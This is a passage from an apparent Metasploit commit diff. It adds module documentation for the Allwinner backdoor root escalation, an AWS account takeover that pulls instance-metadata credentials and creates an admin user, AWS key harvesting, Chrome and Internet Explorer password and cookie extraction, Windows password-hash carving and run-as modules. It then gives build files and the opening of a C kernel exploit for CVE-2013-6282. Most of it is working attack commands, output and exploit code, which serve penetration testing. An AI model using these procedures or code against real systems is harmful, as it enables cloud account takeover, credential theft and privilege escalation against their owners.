- `use post/multi/escalate/allwinner_backdoor`
```
msf post(allwinner_backdoor) > set verbose true
verbose => true
msf post(allwinner_backdoor) > set session 1
session => 1
msf post(allwinner_backdoor) > run
```
## Successful exploitation:
```
[+] Backdoor found, exploiting.
[+] Privilege Escalation Successful
[*] Post module execution completed
msf post(allwinner_backdoor) > sessions -i 1
[*] Starting interaction with 1...
2013564244
uHvwyYtCTXENEYdrCoKdgVxTpKlbnqsW
true
RUVRnPJFFgVpuqEiYXdtXpwdDZxVwZPS
TitlDmvnSvINczARsMAKdajpRoXEohXO
0
RtBPRSiAsiGoFatKQVukpjIjGBpJdXqq
id
uid=0(root) gid=0(root) groups=0(root),27(sudo),29(audio),1001(orangepi)
^Z
Background session 1? [y/N] y
```
## Graceful exit on non-vulnerable devices:
```
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set username pi
username => pi
msf auxiliary(ssh_login) > set password raspberry
password => raspberry
msf auxiliary(ssh_login) > set rhosts basementpi
rhosts => basementpi
msf auxiliary(ssh_login) > exploit
[*] 192.168.2.80:22 SSH - Starting bruteforce
[+] 192.168.2.80:22 SSH - Success: 'pi:raspberry' 'uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),106(netdev),996(gpio),997(i2c),998(spi),999(input) Linux basementpi 4.1.19-v7+ #858 SMP Tue Mar 15 15:56:00 GMT 2016 armv7l GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.229:36438 -> 192.168.2.80:22) at 2016-05-17 22:19:57 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > use post/multi/escalate/allwinner_backdoor
msf post(allwinner_backdoor) > set verbose true
verbose => true
msf post(allwinner_backdoor) > set session 1
session => 1
msf post(allwinner_backdoor) > run
[-] Backdoor /proc/sunxi_debug/sunxi_debug not found.
[*] Post module execution completed
```
@@ -0,0 +1,284 @@
# aws_create_iam_user
aws_create_iam_user is a simple post module that can be used to take over AWS
accounts. Sure, it is fun enough to take over a single host, but you can own all
hosts in the account if you simply create an admin user.
# Background
## Instance Profiles
An Instance Profile is an AWS construct that maps a role to a host (instance).
Not all hosts have instance profiles and/or may have restricted privileges.
AWS roles are composed of policies which specify API calls that the host is
allowed to make.
## Privileges
This module depends on administrators being lazy and not using the least
privileges possible. We often see instances assigned `*.*` roles that allow
any user on the instance to make any API call including creating admin users.
When this occours, a user with long lived credentials can be created and calls
against the AWS API can be made from anywhere on the Internet. Once an account
is taken over in this manner instances can be spun up, other users can be locked
out, networks can be traversed, and many other dangeous things can happen.
Only on rare cases should hosts have the following privileges, these should be
restriced.
* iam:CreateUser
* iam:CreateGroup
* iam:PutGroupPolicy
* iam:AddUserToGroup
* iam:CreateAccessKey
This module will attempt all API calls listed above in sequence. Account takeover
may succeed even if intermediate API calls fail. E.g., we may not be able to
create a new user, but we may be able to create access keys for an existing user.
## Metadata Service
The metadata service is a mechanism the AWS hypervisor employs to pass
information down into hosts. Any AWS host can retrieve information about itself
and its environemtn by curling http://169.254.169.254/. This mechanism is also
used to pass temporary credentials to a host. This module pulls these temporary
credentials and attempts to create a user with admin privileges.
To manually check that a host has an instance profile you can simply curl the
metadata service like so:
```
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
SOME_ROLE_NAME
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/SOME_ROLE_NAME
{
"Code" : "Success",
"LastUpdated" : "2016-12-07T18:36:48Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA
...
```
# Usage
aws_create_iam_user can be used to take over an AWS account given access to
a host having 1). overly permissive instance profile/role, 2). API Access keys.
Once a foothold is established, you can run the module to pull temporary
access keys from the metadata service. If this fails, search the instance for
API access keys, e.g., see ~/.aws/credentials, and set `AccessKeyId`,
`SecretAccessKey`, & `Token` (optional).
## Establish a foothold
You first need a foothold in AWS, e.g., here we use `sshexec` to get the
foothold and launch a meterpreter session.
```
$ ./msfconsole
...
msf > use exploit/multi/ssh/sshexec
msf exploit(sshexec) > set password some_user
password => some_user
msf exploit(sshexec) > set username some_user
username => some_user
msf exploit(sshexec) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf exploit(sshexec) > set payload linux/x86/meterpreter/bind_tcp
payload => linux/x86/meterpreter/bind_tcp
msf exploit(sshexec) > exploit -j
[*] Exploit running as background job.
[*] Started bind handler
msf exploit(sshexec) > [*] 192.168.1.2:22 - Sending stager...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Command Stager progress - 42.09% done (306/727 bytes)
[*] Command Stager progress - 100.00% done (727/727 bytes)
[*] Sending stage (1495599 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.1:33750 -> 192.168.1.2:4444) at 2016-11-21 17:58:42 +0000
```
We will be using session 1.
```
msf exploit(sshexec) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/linux uid=50011, gid=50011, euid=50011, egid=50011, suid=50011, sgid=50011 @ ip-19-... 192.168.1.1:41634 -> 192.168.1.2:4444 (192.168.1.2)
```
## Options
By default the module will:
* create a randomly named IAM user and group
* generate API Keys and User password for after
In the event that the session'd AWS instance does not have an IAM role assigned
to it with sufficient privileges, the following options can be used to provide
specific authentication material:
* `AccessKeyId`: set this if you find access keys on the host and instance has no profile/privileges
* `SecretAccessKey`: set this if you find access keys on the host and instance has no profile/privileges
* `Token`: set this if you find access keys on the host and instance has no profile/privileges. This is optional as this signifies temporary keys, if you find these, these are most likely expired.
The following options control the account that is being created:
* `IAM_USERNAME`: set this if you would like to control the username for to user to be created
* `IAM_PASSWORD`: set this if you would like to control the password for the created user
* `CREATE_API`: when true, creates API keys for this user
* `CREATE_CONSOLE`: when true, creates a password for this user so that they can access the AWS console
```
msf exploit(sshexec) > use post/multi/escalate/aws_create_iam_user
msf post(aws_create_iam_user) > show options
Module options (post/multi/escalate/aws_create_iam_user):
Name Current Setting Required Description
---- --------------- -------- -----------
AccessKeyId no AWS access key
CREATE_API true yes Add access key ID and secret access key to account (API, CLI, and SDK access)
CREATE_CONSOLE true yes Create an account with a password for accessing the AWS management console
IAM_GROUPNAME no Name of the group to be created (leave empty or unset to use a random name)
IAM_PASSWORD no Password to set for the user to be created (leave empty or unset to use a random name)
IAM_USERNAME no Name of the user to be created (leave empty or unset to use a random name)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SESSION yes The session to run this module on.
SecretAccessKey no AWS secret key
Token no AWS session token
```
## Abusing an Overly Permissive Instance Profile
Here we are assuming that we have taken over a host having an instance profile with
overly permissive access. Once a session is established, we can load
`aws_create_iam_user` and specify a meterpreter sesssion,
e.g., `SESSION 1` and run the exploit.
```
msf post(aws_create_iam_user) > set SESSION 1
SESSION => 1
msf post(aws_create_iam_user) > exploit
[*] 169.254.169.254 - looking for creds...
[*] Creating user: gavgpsjXwj5HIxiz
[*] Creating group: gavgpsjXwj5HIxiz
[*] Creating group policy: gavgpsjXwj5HIxiz
[*] Adding user (gavgpsjXwj5HIxiz) to group: gavgpsjXwj5HIxiz
[*] Creating API Keys for gavgpsjXwj5HIxiz
[*] Creating password for gavgpsjXwj5HIxiz
AWS Account Information
=======================
UserName GroupName SecretAccessKey AccessKeyId Password AccountId
-------- --------- --------------- ----------- -------- ---------
gavgpsjXwj5HIxiz gavgpsjXwj5HIxiz oX4csvu3Wun+GqVDzBHQ3FNfv41UhC4ibkLAmaW2 AKIAJRZQ2ENY45KKRBHQ gavgpsjXwj5HIxiz xxxxx
[+] AWS CLI/SDK etc can be accessed by configuring with the above listed values
[+] AWS console URL https://xxxxx.signin.aws.amazon.com/console may be used to access this account
[+] AWS loot stored at: /Users/yyyy/.msf4/loot/20161208140720_default_172.30.0.116_AWScredentials_099259.txt
```
If the host does not have an instance profile or the right access, the output will look like so:
```
[*] 169.254.169.254 - looking for creds...
[*] Creating user: 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::abcd:user/3SFFML3ucP1AyP7J
[*] Creating group: 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateGroup on resource: arn:aws:iam::abcd:group/3SFFML3ucP1AyP7J
[*] Creating group policy: 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:PutGroupPolicy on resource: group 3SFFML3ucP1AyP7J
[*] Adding user (3SFFML3ucP1AyP7J) to group: 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:AddUserToGroup on resource: group 3SFFML3ucP1AyP7J
[*] Creating API Keys for 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateAccessKey on resource: user 3SFFML3ucP1AyP7J
[*] Post module execution completed
```
## Abusing API Access Keys
In the case that the host we have taken over has no instance profile or does not
have the required privileges, we can search the host for access keys with
something like `grep -r AKIA /`. These keys may have admin privileges at which
point you own the account, if not we may be able to escalate privileges.
We can set `AccessKeyId`, `SecretAccessKey`, & `Token` (optional) and rerun
the exploit to test this possibility.
```
msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user
msf post(aws_create_iam_user) > set AccessKeyId AKIAAKIAAKIAAKIAAKIA
AccessKeyId => AKIAAKIAAKIAAKIAAKIA
msf post(aws_create_iam_user) > set SecretAccessKey jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
SecretAccessKey => jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
msf post(aws_create_iam_user) > set SESSION 1
SESSION => 1
msf post(aws_create_iam_user) > run
[*] 169.254.169.254 - looking for creds...
[*] Creating user: bZWsmzyupDWxe8CT
[*] Creating group: bZWsmzyupDWxe8CT
[*] Creating group policy: bZWsmzyupDWxe8CT
[*] Adding user (bZWsmzyupDWxe8CT) to group: bZWsmzyupDWxe8CT
[*] Creating API Keys for bZWsmzyupDWxe8CT
[*] Creating password for bZWsmzyupDWxe8CT
AWS Account Information
=======================
UserName GroupName SecretAccessKey AccessKeyId Password AccountId
-------- --------- --------------- ----------- -------- ---------
bZWsmzyupDWxe8CT bZWsmzyupDWxe8CT 74FXOTagsYCzxz0pjPOmnsASewj4Dq/JzH3Q24qj AKIAJ6IVXYRUQAXU625A bZWsmzyupDWxe8CT xxxxx
[+] AWS CLI/SDK etc can be accessed by configuring with the above listed values
[+] AWS console URL https://xxxxx.signin.aws.amazon.com/console may be used to access this account
[+] AWS loot stored at: /Users/yyyy/.msf4/loot/20161208141050_default_172.30.0.116_AWScredentials_636339.txt
[*] Post module execution completed
```
## Next Steps
Information necessary to use the created account is printed to the screen and stored in loot:
```
$ cat ~/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
{
"UserName": "As56ekIV59OgoFOj",
"GroupName": "As56ekIV59OgoFOj",
"SecretAccessKey": "/DcYUf9veCFQF3Qcoi1eyVzptMkVTeBm5scQ9bdD",
"AccessKeyId": "AKIAIVNMYXYBXYE7VCHQ",
"Password": "As56ekIV59OgoFOj",
"AccountId": "xxx"
```
These creds can be used to call the AWS API directly or you can login using the console.
Configuring the CLI:
```
$ aws configure --profile test
AWS Access Key ID [None]: AKIA...
AWS Secret Access Key [None]: THE SECRET ACCESS KEY...
Default region name [None]: us-west-2
Default output format [None]: json
```
Call the API, e.g., get the Account ID:
```
$ aws iam --profile test list-account-aliases
{
"AccountAliases": [
"Account_ID"
]
}
```
Login via the console using the username and password:
Go to the AWS Console at https://Account_ID.signin.aws.amazon.com/console/ and login.
@@ -0,0 +1,56 @@
## Vulnerable Application
Any system with a `shell` or `meterpreter` session.
## Verification Steps
1. Get a `shell` or `meterpreter` session on some host.
2. Do: ```use post/multi/gather/aws_keys```
3. Do: ```set SESSION [SESSION_ID]```, replacing ```[SESSION_ID]``` with the session number you wish to run this one.
4. Do: ```run```
5. If the system has readable configuration files containing AWS key material, they will be printed out.
## Options
None.
## Scenarios
```
msf post(aws_keys) > run
[*] Enumerating possible user AWS config files
[*] Looking for AWS config/credentials files in /bin
[*] Looking for AWS config/credentials files in /dev
[*] Looking for AWS config/credentials files in /home/syslog
[*] Looking for AWS config/credentials files in /home/test
[*] Looking for AWS config/credentials files in /home/test ubuntu
[*] Looking for AWS config/credentials files in /home/ubuntu
[*] Looking for AWS config/credentials files in /nonexistent
[*] Looking for AWS config/credentials files in /root
[*] Looking for AWS config/credentials files in /usr/games
[*] Looking for AWS config/credentials files in /usr/sbin
[*] Looking for AWS config/credentials files in /var/backups
[*] Looking for AWS config/credentials files in /var/cache/man
[*] Looking for AWS config/credentials files in /var/cache/pollinate
[*] Looking for AWS config/credentials files in /var/lib/gnats
[*] Looking for AWS config/credentials files in /var/lib/landscape
[*] Looking for AWS config/credentials files in /var/lib/libuuid
[*] Looking for AWS config/credentials files in /var/list
[*] Looking for AWS config/credentials files in /var/mail
[*] Looking for AWS config/credentials files in /var/run/dbus
[*] Looking for AWS config/credentials files in /var/run/ircd
[*] Looking for AWS config/credentials files in /var/run/sshd
[*] Looking for AWS config/credentials files in /var/spool/lpd
[*] Looking for AWS config/credentials files in /var/spool/news
[*] Looking for AWS config/credentials files in /var/spool/uucp
[*] Looking for AWS config/credentials files in /var/www
AWS Key Data
============
Source AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY Profile
------ ----------------- --------------------- -------
/home/test/.aws/credentials BAR PRIVATE_TEST test
/home/ubuntu/.aws/credentials ABC456 PRIVATE_TEST test
/root/.s3cfg root_key root_secret default
```
@@ -0,0 +1,89 @@
## Vulnerable Application
This post-exploitation module will extract saved user data from Google Chrome and attempt to decrypt sensitive information.
Chrome encrypts sensitive data (passwords and credit card information) which can only be decrypted with the **same** logon credentials. This module tries to decrypt the sensitive data as the current user unless told otherwise via the MIGRATE setting.
## Verification Steps
1. Start `msfconsole`
2. Get meterpreter session
3. Do: `use post/windows/gather/enum_chrome`
4. Do: `set SESSION <session id>`
5. Do: `run`
6. You should be able to see the extracted chrome browser data in the loot files in JSON format
## Options
- **MIGRATE** - Migrate automatically to explorer.exe. This is useful if you're having SYSTEM privileges, because the process on the target system running meterpreter needs to be owned by the user the data belongs to. If activated the migration is done using the metasploit `post/windows/manage/migrate` module. The default value is false.
- **SESSION** - The session to run the module on.
## Extracted data
- Web data:
- General autofill data
- Chrome users
- Credit card data
- Cookies
- History
- URL history
- Download history
- Search term history
- Login data (username/password)
- Bookmarks
- Preferences
## Scenarios
**Meterpreter session as normal user**
```
[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.104:51129) at 2016-10-13 20:45:50 +0200
msf exploit(handler) > use post/windows/gather/enum_chrome
msf post(enum_chrome) > set SESSION 1
SESSION => 1
msf post(enum_chrome) > run
[*] Impersonating token: 3156
[*] Running as user 'user-PC\user'...
[*] Extracting data for user 'user'...
[*] Downloaded Web Data to '/home/user/.msf4/loot/20161013205236_default_192.168.1.18_chrome.raw.WebD_032796.txt'
[*] Downloaded Cookies to '/home/user/.msf4/loot/20161013205238_default_192.168.1.18_chrome.raw.Cooki_749912.txt'
[*] Downloaded History to '/home/user/.msf4/loot/20161013205244_default_192.168.1.18_chrome.raw.Histo_307144.txt'
[*] Downloaded Login Data to '/home/user/.msf4/loot/20161013205309_default_192.168.1.18_chrome.raw.Login_519738.txt'
[*] Downloaded Bookmarks to '/home/user/.msf4/loot/20161013205310_default_192.168.1.18_chrome.raw.Bookm_593102.txt'
[*] Downloaded Preferences to '/home/user/.msf4/loot/20161013205311_default_192.168.1.18_chrome.raw.Prefe_742084.txt'
[*] Decrypted data saved in: /home/user/.msf4/loot/20161013205909_default_192.168.1.18_chrome.decrypted_173440.txt
[*] Post module execution completed
```
**Meterpreter session as system**
In this case, you should set the MIGRATE setting to true. The module will try to migrate to explorer.exe to decrypt the encrypted data. After the decryption is done, the script will migrate back into the original process.
```
[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.104:51129) at 2016-10-13 20:45:50 +0200
msf exploit(handler) > use post/windows/gather/enum_chrome
msf post(enum_chrome) > set SESSION 1
SESSION => 1
msf post(enum_chrome) > set MIGRATE true
MIGRATE => true
msf post(enum_chrome) > run
[*] current PID is 1100. migrating into explorer.exe, PID=2916...
[*] done.
[*] Running as user 'user-PC\user'...
[*] Extracting data for user 'user'...
[*] Downloaded Web Data to '/home/user/.msf4/loot/20161013205236_default_192.168.1.18_chrome.raw.WebD_032796.txt'
[*] Downloaded Cookies to '/home/user/.msf4/loot/20161013205238_default_192.168.1.18_chrome.raw.Cooki_749912.txt'
[*] Downloaded History to '/home/user/.msf4/loot/20161013205244_default_192.168.1.18_chrome.raw.Histo_307144.txt'
[*] Downloaded Login Data to '/home/user/.msf4/loot/20161013205309_default_192.168.1.18_chrome.raw.Login_519738.txt'
[*] Downloaded Bookmarks to '/home/user/.msf4/loot/20161013205310_default_192.168.1.18_chrome.raw.Bookm_593102.txt'
[*] Downloaded Preferences to '/home/user/.msf4/loot/20161013205311_default_192.168.1.18_chrome.raw.Prefe_742084.txt'
[*] Decrypted data saved in: /home/user/.msf4/loot/20161013205909_default_192.168.1.18_chrome.decrypted_173440.txt
[*] migrating back into PID=1100...
[*] done.
[*] Post module execution completed
```
@@ -0,0 +1,106 @@
## Vulnerable Application
This post-exploitation module will extract saved user data from Internet Explorer. For IE versions of 7 and newer the module will try to extract and decrypt saved credentials as well.
## Verification Steps
1. Start `msfconsole`
2. Get meterpreter session
3. Do: `use post/windows/gather/enum_ie`
4. Do: `set SESSION <session id>`
5. Do: `run`
6. You should be able to see the extracted IE browser data in the loot files
## Options
- **SESSION** - The session to run the module on.
## Extracted data
- History
- Cookies
- Autocomplete data
- Credentials **(only for >= IE7)**
- HTTP auth credentials
- Saved form credentials
## Example Scenario
**Using the module with an earlier version than IE7 (IE6)**
In this scenario the module won't be able to extract credential data.
```
msf exploit(handler) > use post/windows/gather/enum_ie
msf post(enum_ie) > set SESSION 1
SESSION => 1
msf post(enum_ie) > run
[*] IE Version: 6.0.2900.5512
[-] This module will only extract credentials for >= IE7
[*] Retrieving history.....
File: C:\Documents and Settings\user\Local Settings\History\History.IE5\index.dat
[*] Retrieving cookies.....
File: C:\Documents and Settings\user\Cookies\index.dat
[*] Looping through history to find autocomplete data....
[-] No autocomplete entries found in registry
[*] Looking in the Credential Store for HTTP Authentication Creds...
[*] Writing history to loot...
[*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.history_747359.txt
[*] Writing cookies to loot...
[*] Data saved in: /home/user/.msf4/loot/20161031155122_default_10.0.2.15_ie.cookies_795069.txt
[*] Post module execution completed
```
**Using the module with IE7+ (IE8)**
In this scenario the module will try to extract credential data, display it in the console and save it in a loot file.
```
msf exploit(handler) > use post/windows/gather/enum_ie
msf post(enum_ie) > set SESSION 1
SESSION => 1
msf post(enum_ie) > run
[*] IE Version: 8.0.7601.17514
[*] Retrieving history.....
File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat
File: C:\Users\IEUser\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat
[*] Retrieving cookies.....
File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\index.dat
File: C:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Cookies\Low\index.dat
[*] Looping through history to find autocomplete data....
[*] Looking in the Credential Store for HTTP Authentication Creds...
[*] Writing history to loot...
[*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.history_555694.txt
[*] Writing cookies to loot...
[*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.cookies_216987.txt
[*] Writing gathered credentials to loot...
[*] Data saved in: /home/user/.msf4/loot/20161031201908_default_10.0.2.15_ie.user.creds_355504.txt
Credential data
===============
Type Url User Pass
---- --- ---- ----
Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd
Auto Complete https://wordpresssite.net/wp-login.php sampleUser P455w0rd
[*] Post module execution completed
```
The extracted history data would in both scenarios for example look like this:
```
History data
============
Date Modified Date Accessed Url
------------- ------------- ---
2011-11-20T23:59:02+00:00 2011-11-20T23:59:02+00:00 about:Home
2016-10-31T14:42:05+00:00 2016-10-31T14:42:05+00:00 http://go.microsoft.com/fwlink/?LinkId=54729&clcid=0x0407
2016-10-31T14:42:06+00:00 2016-10-31T14:42:06+00:00 http://de.msn.com/?ocid=iefvrt
2016-10-31T14:42:08+00:00 2016-10-31T14:42:08+00:00 http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome
2016-10-31T14:42:23+00:00 2016-10-31T14:42:23+00:00 http://www.msn.com/de-de?ocid=iefvrt
2016-10-31T14:47:42+00:00 2016-10-31T14:47:42+00:00 file:///E:/text.txt
```
@@ -0,0 +1,35 @@
## Overview
This module changes a user's password by carving a hash in the windows registry.
1. It doesn't change the "password last changed" field
2. You can set a hash directly, so you can change a user's password and revert it without cracking it's hash.
3. It bypasses the password complexity requirements
## Module Options
- **USER** - This option allows you to specify the user you wish to change the password of.
- **PASS** - This option allows you to specify the password to be set in the form of a clear text password, a single NT hash, or a couple of LM:NT hashes.
## Module Process
Here is the process that the module follows:
- Retrieves list of users from the registry.
- If the user is found it attempts to:
- load the user key from the registry
- check if the lm and nt hashes exit in the key
- replace the hashes if they exist
- write they user key back into the registry
## Recommandations
I would recommand to use hashdump before using the module to backup the user hashes
Use at your own risk.
## Limitations
At some point, Windows 10 stopped storing users in that exact way, users whose password was set after that change would not be vulnerable. This will be updated once someone figures how the hashes are now stored.
The module does not modify the user key architecture, you cannot set a hash on a user that does not have a password.
## Usage
- run post/windows/manage/hashcarve user=test pass=password
- run post/windows/manage/hashcarve user=test pass=nthash
- run post/windows/manage/hashcarve user=test pass=lmhash:nthash
@@ -0,0 +1,77 @@
## Example Session
/tmp/hello.cs contains the following:
```
using System;
public class Hello
{
public static void Main()
{
Console.WriteLine("Hello, World!");
}
}
```
To build and run the code:
```
msf exploit(handler) > use post/windows/manage/powershell/build_net_code
msf post(build_net_code) > set SESSION -1
SESSION => -1
msf post(build_net_code) > show options
Module options (post/windows/manage/powershell/build_net_code):
Name Current Setting Required Description
---- --------------- -------- -----------
ASSEMBLIES mscorlib.dll, System.dll, System.Xml.dll, System.Data.dll no Any assemblies outside the defaults
CODE_PROVIDER Microsoft.CSharp.CSharpCodeProvider yes Code provider to use
COMPILER_OPTS /optimize no Options to pass to compiler
OUTPUT_TARGET no Name and path of the generated binary, default random, omit extension
RUN_BINARY false no Execute the generated binary
SESSION -1 yes The session to run this module on.
SOURCE_FILE yes Path to source code
msf post(build_net_code) > set SOURCE_FILE /tmp/hello.cs
SOURCE_FILE => /tmp/hello.cs
msf post(build_net_code) > run
[*] Building remote code.
[+] File C:\cygwin64\tmp\aNwCFmmLzlYvPWw.exe found, 3584kb
[+] Finished!
[*] Post module execution completed
msf post(build_net_code) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > shell
Process 4840 created.
Channel 7 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
E:\metasploit-framework>C:\cygwin64\tmp\aNwCFmmLzlYvPWw.exe
C:\cygwin64\tmp\aNwCFmmLzlYvPWw.exe
Hello, World!
```
You can also run the code automatically:
```
msf exploit(handler) > use post/windows/manage/powershell/build_net_code
msf post(build_net_code) > set SOURCE_FILE /tmp/hello.cs
SOURCE_FILE => /tmp/hello.cs
msf post(build_net_code) > set RUN_BINARY true
RUN_BINARY => true
msf post(build_net_code) > set SESSION -1
SESSION => -1
msf post(build_net_code) > run
[*] Building remote code.
[+] File C:\cygwin64\tmp\QuEQSEifJOe.exe found, 3584kb
[+] Hello, World!
[+] Finished!
[*] Post module execution completed
```
@@ -0,0 +1,48 @@
## Overview
This module will start a process as another user using powershell.
By default, it will start an interactive cmd as the target user.
## Module Options
- **USER** - The use to run the program as.
- **PASS** - The user's password
- **DOMAIN** - The domain of the user
- **EXE** - The program to run (default cmd.exe)
- **ARGS** - The program arguments
- **PATH** - The path to run the program in (default C:\\)
- **CHANNELIZE** - Channelize the output, required to read output or interact
- **INTERACT** - Interact with program
- **HIDDEN** - Hide the console window
## Module Process
The process will use the Start-Process command of powershell to run a process as another user.
## Limitations
- Requires Powershell
- Hidden Mode does not work with older powershell versions
- Interactive mode needs to be run from a meterpreter console
## Examples
`
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > run post/windows/manage/run_as_psh user=test pass=mypassword
[*] Hidden mode may not work on older powershell versions, if it fails, try HIDDEN=false
[*] Process 1672 created.
[*] Channel 30 created.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\\>whoami
whoami
my-pc\test
C:\\>
meterpreter > run post/windows/manage/run_as_psh user=test pass=mypassword hidden=false channelize=false interactive=false exe=cmd path=C:\\\\windows args="/c start notepad"
[*] Process 9768 created.
meterpreter >
`
+21
View File
@@ -0,0 +1,21 @@
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
#LOCAL_LDFLAGS += -llog
#LOCAL_CFLAGS += -DDEBUG
LOCAL_MODULE := exploit
LOCAL_SRC_FILES := exploit.c
include $(BUILD_SHARED_LIBRARY)
include $(CLEAR_VARS)
LOCAL_LDFLAGS += -llog
LOCAL_CFLAGS += -DDEBUG
LOCAL_MODULE := debugexploit
LOCAL_SRC_FILES := exploit.c
include $(BUILD_EXECUTABLE)
+20
View File
@@ -0,0 +1,20 @@
all: install
build:
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16 APP_ABI=armeabi
install: build
mv libs/armeabi/libexploit.so ../../../../data/exploits/CVE-2013-6282.so
push: build
adb push libs/armeabi/debugexploit /data/local/tmp/exploit
run: push
adb shell 'chmod 777 /data/local/tmp/exploit'
adb shell '/data/local/tmp/exploit'
clean:
rm -rf libs
rm -rf obj
+11
View File
@@ -0,0 +1,11 @@
BUILDING:
Download the android ndk, e.g:
https://dl.google.com/android/repository/android-ndk-r10e-linux-x86_64.zip
(I used android-ndk-10d)
Unzip it and install ensure ndk-build is in your PATH
make
+719
View File
@@ -0,0 +1,719 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <jni.h>
unsigned char shellcode_buf[2048] = { 0x90, 0x90, 0x90, 0x90 };
#define KERNEL_START_ADDRESS 0xc0008000
#define KERNEL_SIZE 0x2000000
#define SEARCH_START_ADDRESS 0xc0800000
#define KALLSYMS_SIZE 0x200000
#define PTMX_DEVICE "/dev/ptmx"
#ifdef DEBUG
#include <android/log.h>
#define LOGV(...) __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); fflush(stdout)
#else
#define LOGV(...)
#endif
unsigned long prepare_kernel_cred_address = 0;
unsigned long commit_creds_address = 0;
unsigned long ptmx_fops_address = 0;
unsigned long ptmx_open_address = 0;
unsigned long tty_init_dev_address = 0;
unsigned long tty_release_address = 0;
unsigned long tty_fasync_address = 0;
unsigned long ptm_driver_address = 0;
unsigned long pattern_kallsyms_addresses[] = {
0xc0008000, /* stext */
0xc0008000, /* _sinittext */
0xc0008000, /* _stext */
0xc0008000 /* __init_begin */
};
unsigned long pattern_kallsyms_addresses2[] = {
0xc0008000, /* stext */
0xc0008000 /* _text */
};
unsigned long pattern_kallsyms_addresses3[] = {
0xc00081c0, /* asm_do_IRQ */
0xc00081c0, /* _stext */
0xc00081c0 /* __exception_text_start */
};
unsigned long pattern_kallsyms_addresses4[] = {
0xc0008180,
0xc0008180,
0xc0008180
};
unsigned long *kallsymsmem = NULL;
unsigned long kallsyms_num_syms;
unsigned long *kallsyms_addresses;
unsigned char *kallsyms_names;
unsigned char *kallsyms_token_table;
unsigned short *kallsyms_token_index;
unsigned long *kallsyms_markers;
struct cred;
struct task_struct;
struct cred *(*prepare_kernel_cred)(struct task_struct *);
int (*commit_creds)(struct cred *);
bool bChiled;
int read_value_at_address(unsigned long address, unsigned long *value) {
int sock;
int ret;
int i;
unsigned long addr = address;
unsigned char *pval = (unsigned char *)value;
socklen_t optlen = 1;
*value = 0;
errno = 0;
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) {
LOGV("socket() failed: %s.\n", strerror(errno));
return -1;
}
for (i = 0; i < sizeof(*value); i++, addr++, pval++) {
errno = 0;
ret = setsockopt(sock, SOL_IP, IP_TTL, (void *)addr, 1);
if (ret != 0) {
if (errno != EINVAL) {
LOGV("setsockopt() failed: %s.\n", strerror(errno));
close(sock);
*value = 0;
return -1;
}
}
errno = 0;
ret = getsockopt(sock, SOL_IP, IP_TTL, pval, &optlen);
if (ret != 0) {
LOGV("getsockopt() failed: %s.\n", strerror(errno));
close(sock);
*value = 0;
return -1;
}
}
close(sock);
return 0;
}
unsigned long *kerneldump(unsigned long startaddr, unsigned long dumpsize) {
unsigned long addr;
unsigned long val;
unsigned long *allocaddr;
unsigned long *memaddr;
LOGV("dumping kernel...\n");
allocaddr = (unsigned long *)malloc(dumpsize);
if (allocaddr == NULL) {
LOGV("malloc failed: %s.\n", strerror(errno));
return NULL;
}
memaddr = allocaddr;
